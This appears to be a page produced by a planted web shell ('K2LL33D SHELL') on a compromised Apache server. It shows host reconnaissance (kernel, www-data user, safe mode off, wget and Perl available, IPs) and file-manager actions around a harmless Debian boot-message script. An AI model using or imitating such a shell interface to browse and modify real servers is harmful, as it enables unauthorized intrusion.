K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / lib / lsb / init-functions.d /
server ip : 104.21.89.46

your ip : 172.70.179.46

H O M E


Filename/lib/lsb/init-functions.d/20-left-info-blocks
Size1.07 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified15-May-2013 13:07
Last accessed06-Jul-2025 12:42
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
# Default info blocks put to the left of the screen
log_daemon_msg_pre () {
if log_use_fancy_output; then
/bin/echo -n "[....] " || true
fi
}
log_begin_msg_pre () {
log_daemon_msg_pre "$@"
}
log_end_msg_pre () {
if log_use_fancy_output; then
RED=$( $TPUT setaf 1)
GREEN=$( $TPUT setaf 2)
YELLOW=$( $TPUT setaf 3)
NORMAL=$( $TPUT op)

$TPUT civis || true
$TPUT sc && \
$TPUT hpa 0 && \
if [ $1 -eq 0 ]; then
/bin/echo -ne "[${GREEN} ok ${NORMAL}" || true
elif [ $1 -eq 255 ]; then
/bin/echo -ne "[${YELLOW}warn${NORMAL}" || true
else
/bin/echo -ne "[${RED}FAIL${NORMAL}" || true
fi && \
$TPUT rc || true
$TPUT cnorm || true
fi
}
log_action_msg_pre () {
if log_use_fancy_output; then
CYAN=$( $TPUT setaf 6)
NORMAL=$( $TPUT op)
/bin/echo -ne "[${CYAN}info${NORMAL}] " || true
fi
}
log_action_begin_msg_pre () {
log_daemon_msg_pre "$@"
}
log_action_end_msg_pre () {
log_end_msg_pre "$@"
}